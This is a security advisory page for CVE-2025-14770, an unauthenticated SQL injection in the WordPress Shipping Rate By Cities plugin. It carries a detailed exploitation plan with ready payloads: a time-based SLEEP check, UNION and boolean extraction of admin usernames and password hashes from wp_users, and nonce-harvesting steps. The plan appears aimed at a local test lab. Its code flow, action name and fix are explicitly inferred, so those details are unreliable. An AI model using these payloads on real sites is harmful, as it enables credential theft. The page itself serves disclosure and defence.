Shipping Rate By Cities <= 2.0.0 - Unauthenticated SQL Injection via 'city' Parameter
Description
The Shipping Rate By Cities plugin for WordPress is vulnerable to SQL Injection via the 'city' parameter in all versions up to, and including, 2.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.0.0Source Code
WordPress.org SVNThis research plan outlines the steps to identify and exploit the unauthenticated SQL injection vulnerability in the **Shipping Rate By Cities** plugin (CVE-2025-14770). --- ### 1. Vulnerability Summary The **Shipping Rate By Cities** plugin (versions <= 2.0.0) is vulnerable to SQL injection becau…
Show full research plan
This research plan outlines the steps to identify and exploit the unauthenticated SQL injection vulnerability in the Shipping Rate By Cities plugin (CVE-2025-14770).
1. Vulnerability Summary
The Shipping Rate By Cities plugin (versions <= 2.0.0) is vulnerable to SQL injection because it processes the user-supplied city parameter directly in a database query without using the $wpdb->prepare() method or sufficient escaping. The vulnerability exists in an AJAX handler registered for unauthenticated users (wp_ajax_nopriv_), allowing an attacker to extract sensitive information, such as the wp_users table data, via a crafted HTTP request.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action (Inferred): Likely registered via
wp_ajax_nopriv_get_shipping_ratesor a similar action string containing "shipping" or "city". - Vulnerable Parameter:
city(sent viaPOSTorGET). - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. Some plugins may require at least one shipping rate to be configured in the database to reach the vulnerable code path.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a request to
admin-ajax.phpwith the parameteraction=[ACTION_NAME]andcity=[PAYLOAD]. - Hook Trigger: WordPress fires the
wp_ajax_nopriv_[ACTION_NAME]hook. - Handler Execution: The plugin's handler function (e.g.,
get_shipping_rate_callback) retrieves thecityvalue from$_POST['city']. - Database Sink: The handler constructs a query string using interpolation:
"SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = '" . $_POST['city'] . "'" - Execution: The query is executed via
$wpdb->get_results()or$wpdb->get_row(), resulting in SQL injection.
4. Nonce Acquisition Strategy
If the plugin enforces a nonce check (e.g., check_ajax_referer), follow these steps:
- Search for Nonce Registration: Use
grep -r "wp_create_nonce" .to find the action string and the variable name used inwp_localize_script. - Identify Shortcode/Page: Look for
add_shortcodein the plugin code to find how the shipping calculator is displayed on the frontend. - Setup Test Page:
wp post create --post_type=page --post_title="Shipping Test" --post_status=publish --post_content='[SHORTCODE_NAME]' - Extract via Browser:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce:window.srbc_ajax_obj?.nonce(Verify the exact variable name in the source code).
Note: Many "Shipping Rate" plugins omit nonce checks on public-facing price calculators to ensure compatibility with caching layers, making this potentially direct.
5. Exploitation Strategy
Step 1: Discovery (Identification of Action)
Search the plugin directory for the AJAX registration:grep -r "wp_ajax_nopriv_" .
Identify the function name and the associated city parameter usage.
Step 2: Confirmation (Time-Based)
Send a time-based sleep payload to confirm the injection point:
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Method:
POST - Body:
action=[ACTION_NAME]&city=London' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Expected Result: Response time > 5 seconds.
Step 3: Data Extraction (UNION-Based)
Since this plugin likely returns JSON data (shipping rates), a UNION-based approach is most efficient:
- Determine Column Count:
city=London' UNION SELECT 1,2,3,4,5-- -(Increment numbers until no SQL error occurs). - Extract Admin Credentials:
- Payload:
city=London' UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -
- Payload:
- HTTP Request:
http_request( url="http://localhost:8080/wp-admin/admin-ajax.php", method="POST", headers={"Content-Type": "application/x-www-form-urlencoded"}, body="action=[ACTION_NAME]&city=[PAYLOAD]" )
6. Test Data Setup
- Activate Plugin:
wp plugin activate shipping-rate-by-cities - Configure Admin: Ensure a user with ID 1 (standard admin) exists.
- Seed Rates (If needed): Use the plugin's admin menu to add at least one valid city and rate to ensure the query returns results for the "base" part of the UNION.
7. Expected Results
- Confirmation: The server responds significantly slower when the
SLEEPpayload is used. - Extraction: The AJAX response contains the administrator's username and password hash (likely in a field originally intended for "rate" or "cost").
8. Verification Steps
After the exploit, verify the extracted data against the database using WP-CLI:wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
Confirm that the hash extracted via the city parameter matches the output from the CLI.
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on and the plugin echoes$wpdb->last_error, useupdatexml()orextractvalue()payloads. - Boolean-Based: If UNION is blocked or column matching is difficult, use:
city=London' AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1)=36-- -
Compare the response content to distinguish between "City Found" (True) and "City Not Found" (False).
Summary
The Shipping Rate By Cities plugin for WordPress (versions up to 2.0.0) is vulnerable to unauthenticated SQL Injection via the 'city' parameter. The plugin processes this user-supplied input directly in a database query without using prepared statements or sufficient escaping, allowing attackers to extract sensitive data from the database.
Vulnerable Code
// Inferred code flow from vulnerability analysis $city = $_POST['city']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = '" . $_POST['city'] . "'");
Security Fix
@@ -1,1 +1,1 @@ -$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = '" . $_POST['city'] . "'"); +$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}shipping_rates WHERE city_name = %s", $_POST['city']));
Exploit Outline
The vulnerability can be exploited by targeting the WordPress AJAX endpoint without authentication. An attacker sends a POST request to wp-admin/admin-ajax.php with an 'action' parameter associated with the plugin's shipping rate calculation and a 'city' parameter containing a SQL injection payload. Initial discovery can be performed using time-based payloads (e.g., using SLEEP()) to confirm the injection point. Data extraction is achieved via UNION-based payloads, allowing the attacker to retrieve sensitive records from the wp_users table, including administrator usernames and password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.